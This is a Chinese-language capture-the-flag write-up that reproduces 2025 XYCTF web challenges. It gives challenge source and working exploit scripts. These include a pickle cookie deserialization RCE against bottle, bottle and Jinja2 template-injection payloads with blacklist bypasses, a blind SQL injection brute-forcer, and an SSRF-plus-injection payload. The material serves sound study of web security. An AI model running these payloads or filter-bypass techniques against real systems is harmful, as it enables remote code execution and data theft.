2025XYCTF
拖了好久,复现一下吧
web
Signin
源码
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)
bottle的get_cookie是有pickle反序列化的
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
所以我们目录遍历拿到密钥后,加密session后发送即可。
import requests
from bottle import cookie_encode
secret="Hell0_H@cker_Y0u_A3r_Sm@r7"
class Exploit:
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./flag.txt')""",))
pick = cookie_encode(
{"name": Exploit()},
secret
)
#print(pick)
requests.get('http://gz.imxbt.cn:20415/secret', cookies={'name': pick.decode()})
ez_puzzle
打开开发者模式。搜索时间发现了endtime和starttime。
这个计算时间应该是endtime-starttime是否<2。
前端把starttime时间调整到很大。这样一键为负数就<2通过了

然后完成拼图即可

出题人已疯
给了源码
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
bottle框架的ssti,不仅可以用{{}},<%%>也可以,%也是可以的。但是如果用%的话,要加一个n才行。具体可见https://www.osgeo.cn/bottle/stpl.html
本地测试一下,bottle框架可以直接import os模块,也可以用于字符串动态导入__import__('os')

对题目来说是无回显的。所以我们可以将flag写入文件。
给上出题人wp
import requests
# 目标URL,这是一个存在漏洞的Web应用接口
url = 'http://gz.imxbt.cn:20055/attack'
# 构造恶意payload,目的是执行系统命令:
# __import__('os').system('cat /f*>123')
# 这段代码会导入os模块,然后执行系统命令,将/f*开头的文件内容输出到123文件中
payload = "__import__('os').system('cat /f*>123')"
# 将payload按每3个字符分割成一个列表,用于分片传输绕过可能的防护机制
# 例如:"__import__('os')"会被分割为['__i','mpo','rt_',...]
p = [payload[i:i + 3] for i in range(0, len(payload), 3)]
# 初始化标志位,用于处理第一段payload的特殊情况
flag = True
# 遍历分割后的payload片段
for i in p:
if flag:
# 如果是第一段payload,初始化os.a变量
# 请求参数格式:n%import os;os.a="payload_part"
tmp = f'n%import os;os.a="{i}"'
flag = False # 将标志位设为False,后续片段走else分支
else:
# 后续payload片段,追加到os.a变量
# 请求参数格式:n%import os;os.a+="payload_part"
tmp = f'n%import os;os.a+="{i}"'
# 发送GET请求,将构造好的payload片段作为参数传递
r = requests.get(url, params={"payload": tmp})
# 发送最终请求,执行拼接完成的payload
# 这里使用eval()函数执行os.a中存储的完整payload
r = requests.get(url, params={"payload": "n%import os;eval(os.a)"})
# 发送请求读取命令执行结果(123文件内容)
# 使用include函数包含生成的123文件
r = requests.get(url, params={"payload": "n%include('123')"}).text
# 打印命令执行结果
print(r)
出题人又疯
参考了https://xz.aliyun.com/news/17718
源码
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\', 'r', 'n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
加了黑名单。
看WP是斜体url编码绕过,本地调试一下
目前发现的POC只能替换俩字符,分别是o,a,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。
ª的url编码是%C2%AA
º的url编码是%C2%BA
但是传参时都要去掉%C2。不然会解析错误

看到本地解析是执行成功了。
payload:/attack?payload={{%BApen(%27/flag%27).read()}}
ezsql(手动滑稽)
%09→ ASCII 码0x09(即t,水平制表符)%20→ ASCII 码0x20(空格)%0A→ ASCII 码0x0A(换行符n)
啊我刷的最多的就是sql注入的题。这题没写出来我真的太蠢了。看了wp发现原来这么简单
进入页面试一下注入点是username,发现过滤了空格和逗号(,)。上面三个试一下,最后制表符绕过即可
username=1'%09or%091=1#&password=123

来到第二层,需要密钥。这个密钥估计就需要到第一层用sql报错注入来爆出来了
import requests
import time
url = "http://gz.imxbt.cn:20145/login.php"
# 字符集
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
res=""
for pos in range(1,30):
for char in chars:
#爆库
#sql=f"username=1'%09or%09substring(database()%09from%09{pos}%09for%091)='{char}'%23&password=123"
#报表
#sql=f"username=1'%09or%09substring((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database())%09from%09{pos}%09for%091)='{char}'%23&password=123"
#爆字段
#sql=f"username=1'%09or%09substring((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='double_check')%09from%09{pos}%09for%091)='{char}'%23&password=123"
#爆数据
sql=f"username=1'%09or%09substring((select%09group_concat(secret)%09from%09double_check)%09from%09{pos}%09for%091)='{char}'%23&password=123"
request1=requests.post(url=url,data=sql,headers={'Content-Type': 'application/x-www-form-urlencoded'})#必须要带上headers
if "系统恶意登录尝试" in request1.text:
res+=char
print(res)
break
else:
print('finish:'+res)
exit()
爆出密钥dtfrtkcc0czkoua9s
后面命令执行无回显,过滤了空格,我们写入文件即可

然后访问123.txt即可
Fate
这题虽然套了,但是我觉得出的特别好。ssrf+sql注入
源码
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if ''' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
可以看到/1337路由调用了db_search函数,这里存在sql注入。
但是/1337路由需要本地127.0.0.1才能访问。所以我们需要通过/proxy路由打ssrf。
/proxy路由传参会进行拼接:target_url = "http://lamentxu.top" + url。
我们用@来绕过,然后ip地址可以转10进制来绕过点号。
/1337接受两个参数0和1,要求传入0的值为abcdefghi,我们进行两次url编码来绕过黑名单。
因为对name长度有限制(<6),这里使用python格式化字符串漏洞。(当我们使用f-string直接传入非字符串参数时,就会被强转为字符串)
这里过滤了list类型,我们用字典类型来通过waf(len为1,只有一个键值对)

我们给1传入数据(json格式):
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}
拼接后为
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))
然后转成10进制。这样就可以绕过了。
最后payload为
?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101
注意这里&也要url编码,不然可能会被解析为/proxy路由的第二个参数。

Now you see me 1
这里先总结一下ssti的传参绕过姿势
request #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)
request.mimetype #获取Content-Type的内容
request.authorization.type和request.authorization.token #获取Authorization的内容
request.origin #获取Origin的内容
request.referrer #获取Referrer的内容
下载源码,base64解密一下
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2024/12/27 18:27:15
@Author : LamentXU
运行,然后你会发现启动了一个flask服务。这是怎么做到的呢?
注:本题为彻底的白盒题,服务端代码与附件中的代码一模一样。不用怀疑附件的真实性。
'''
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,''', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
考点还是ssti,过滤有点恐怖。这一看就是我高攀不起的题目,跟着wp复现一下吧
贴上出题人脚本
import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"
required_encoding = re.findall(''([a-z0-9_ /.]+)'', payloadstr)
# print(required_encoding)
offset_a = 16
offset_0 = 6
encoded_payloads = {}
arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
else:
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
payload.append(fully_encoded_payload)
command = "cp /flag_h3r3 static/flag_h3r3"#先mkdir static
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!
payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)
print(r"Follow-your-heart-%23}"+output)
将flag下载下来后010查看即可。
还有其他做法。我觉得这篇文章解法比出题人的更简单易懂。但是这题的脚本跑起来不成功。用bp发包
payload:
/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(()|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(20)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))()|attr(request.origin)(118)|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(13)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(19)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(6)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(14)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr(request.origin)(request.authorization.type)|attr(request.origin)(request.authorization.token)(request.referrer))%}

访问url/static/flag即可下载。




